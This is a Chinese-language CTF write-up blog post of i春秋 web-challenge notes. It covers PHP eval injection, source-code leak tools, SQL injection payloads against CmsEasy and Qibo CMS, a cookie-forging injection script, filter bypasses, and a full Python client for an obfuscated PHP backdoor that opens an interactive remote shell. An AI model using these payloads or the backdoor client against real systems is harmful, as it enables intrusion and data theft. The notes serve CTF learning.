i春秋web题目笔记

一些php函数

isset — 检测变量是否已设置并且非 NULL
如果 var 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE。

var_dump($a)
$GLOBALS 存放所有全局变量

文件包含

1
2
3
4
5
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

闭合(),使用print_r(file(‘xx.php’))输出文件内容

配置或源码文件泄露

PhpStorm软件会在开发目录下有.idea文件夹,包含了一些字体、缓存等配置
misc.xml
modules.xml
store.iml
workspace.xml

正则

[^a-zA-Z0-9.]是匹配非a-zA-Z0-9.的字符并替换成空,如果某个文件名有_符号,可以使用config字符串代替_

1
2
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);

yesercms

其实是easycms,注入点:

1
2
3
4
5
http://localhost/Cmseasy/celive/live/header.php
POST Data:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password))
from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

当使用admin登录后,在管理界面却发现无所作为,看wp提示是当前模板编辑,编辑文件却无法保存,,但是既然能读取道文件,说明有文件包含,f12查看然后,发现可以的脚本show_edit()函数,然后&id = ../../../flag.php根目录文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function show_edit(id) {
$.ajax({
url: '/index.php?case=template&act=fetch&admin_dir=admin&site=default',
data:'&id='+id,
type: 'POST',
dataType: 'json',
timeout: 3000,
error: function(){
},
success: function(data){
$(id+'_textarea').html(data.content);
if(data.content)
$(id+'_save_button').css('display','block');
}
})

反黑XSS

想到反黑XSS平台的思路 一般XSS平台为了简洁就是一个纯数字URL,然后BURP爆破 http://b6790362038a4034a59feeef192cc8757a7ae27633094a6c.game.ichunqiu.com/1 在3时返回了一段JS代码,然后执行返回的JS代码 发现请求了如下信息 http://b6790362038a4034a59feeef192cc8757a7ae27633094a6c.game.ichunqiu.com/3 不过后来发现没什么用
在burp抓包后,本应提交email=xx参数时将其改成email[]=xx数组,发现了报错,在报错中发现提示文件错误等,搜索出github上的源码 https://github.com/r0ker/Rtiny-xss
发现lock.py中存在cookie中username注入,但是tornado对cookie中的username加密,需要本地搭建平台抓包道cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import tornado.ioloop
import tornado.web
import logging
logging.getLogger().setLevel(logging.DEBUG)
settings = {
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
}

class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("hhhh")
self.set_secure_cookie("username","' and extractvalue(1, concat(0x5c, substring((load_file('/var/www/html/f13g_ls_here.txt')),32,48)))# ")


def main_app():
return tornado.web.Application([(r"/",MainHandler),],**settings)



if __name__ == '__main__':
app = main_app()
app.listen('8888','127.0.0.1')

tornado.ioloop.IOLoop.current().start()

load_file()函数
load_file(‘/var/www/html/f13g_ls_here.txt’)

再见cms

在网站左上角发现qibosoft的图标,百度搜索知道了齐博cms,接着就是找其漏洞了
https://blog.csdn.net/qq_33020901/article/details/52593063 发现不好用,使用另一个wp
https://blog.csdn.net/include_heqile/article/details/82633506

1
2
3
$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");

这里需要把$TB_pre构造成一个表,因此Payload:http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select user()),0x7e),1)))a%23

之后用load_file()读取文件,因为’被过滤,文件名使用16进制

SQL

id=1 un<>ion se<>lect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name=’info’
id,title,flAg_T5ZNdrm

id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name=’info’

666C61677B31386561313762392D653039352D343866392D626530322D3731333962646564376162647D

SQli

重定向一般发生在访问域名而且不加参数或者文件夹名,文件名这样的情况下,比如直接访问http://90fefcf9ed494886b66499d44a5b4f7466e12887e8b44c96.game.ichunqiu.com/就会重定向到一个默认的页面文件,比如返回的字段中有page字段:

1
2
3
4
5
6
7
8
9
HTTP/1.1 302 Found
Server: nginx/1.10.2
Date: Fri, 19 Oct 2018 14:07:32 GMT
Content-Type: text/html
Content-Length: 57
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
page: l0gin.php?id=1
location: ./b68a89d1c4a097a9d8631b3ac45e8979.php

其中 使用 id=1 and ascii(mid((select database()),1,1)) 会发现逗号被过滤
最终使用:
Payload: id=-1' union select * from (select user()) a join (select version() ) b %23

源码泄露

.git 文件泄露

使用Githack工具 https://github.com/lijiejie/GitHack
用法:python GitHack.py http://xxxx/.git/ 会自动将.git文件夹下载下来,然后使用git log -p 查看修改情况

.DS_Store文件泄漏

工具连接:https://github.com/lijiejie/ds_store_exp
这是一个.DS_Store文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地。
Usage: python ds_store_exp.py http://www.example.com/.DS_Store

编辑器临时文件泄露

vim编辑器

vim临时文件

Vim意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。
在linux下,假设你的swp文件叫’.index.php.swp’,可用带-r参数编辑 vi -r index.php 然后wq保存即可
或者使用: #vi .index.php.swp 然后:recover 最后wq保存

默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,index.php的备份文件则为index.php~

UltrlEditor

UltrlEditor自动保存为.bak后缀。

PHPSTORM

使用phpstorm新建项目时,会生成一个.idea文件夹,这个文件夹有一个workspace.xml,访问可以得到一些信息。

php混淆加密

一个PHP混淆后门的分析 :http://www.cnblogs.com/go2bed/p/5920811.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# encoding: utf-8
# url后面改成你的目标url
# python 保存的脚本名字.py 加密后的.php

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://fd7d2f1b51764bbe8f4af62e683be756a07af66dcc294f37.game.ichunqiu.com/Challenges/b4ckdo0r.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')

PHP执行系统命令的有几个常用的函数

system函数

说明:执行外部程序并显示输出资料。

exec函数

说明:执行外部程序。
返回值: 字符串

popen函数

说明:打开文件。
语法:int popen(string command, string mode);
返回值: 整数
详细介绍:本函数执行指令开档,而该文件是用管道方式处理的文件。用本函数打开的文件只能是单向的 (只能读或只能写),而且一定要用 pclose() 关闭。在文件操作上可使用 fgets()、fgetss() 与 fputs()。若是开档发生错误,返回 false 值。
实例代码:
< ? $fp = popen( "/bin/ls", "r" ); ?>

GetFlag

做题时,发现/Challenges/file/download.php?f=a.php可以读取文件,然后尝试a=../flag.php,但是出现问题,并不是想要访问的,而且给了提示实在根目录下,这意味着,可以使用绝对路径a=/var/www/html/Chanllenges/flag.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}

?>

其中,如果传入flag=flag , 则最终 eval("\$spaceone = $f");

无引号定义字符串的方式

1
2
3
4
$f = <<<s
flag
s;
(此处有个回车符号)

然后通过URL编码%3c%3c%3c%73%0a%66%6c%61%67%0a%73%3b%0a

文章作者: Ginove
文章链接: https://ginove.github.io/2018/10/15/i春秋web题目笔记/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ginove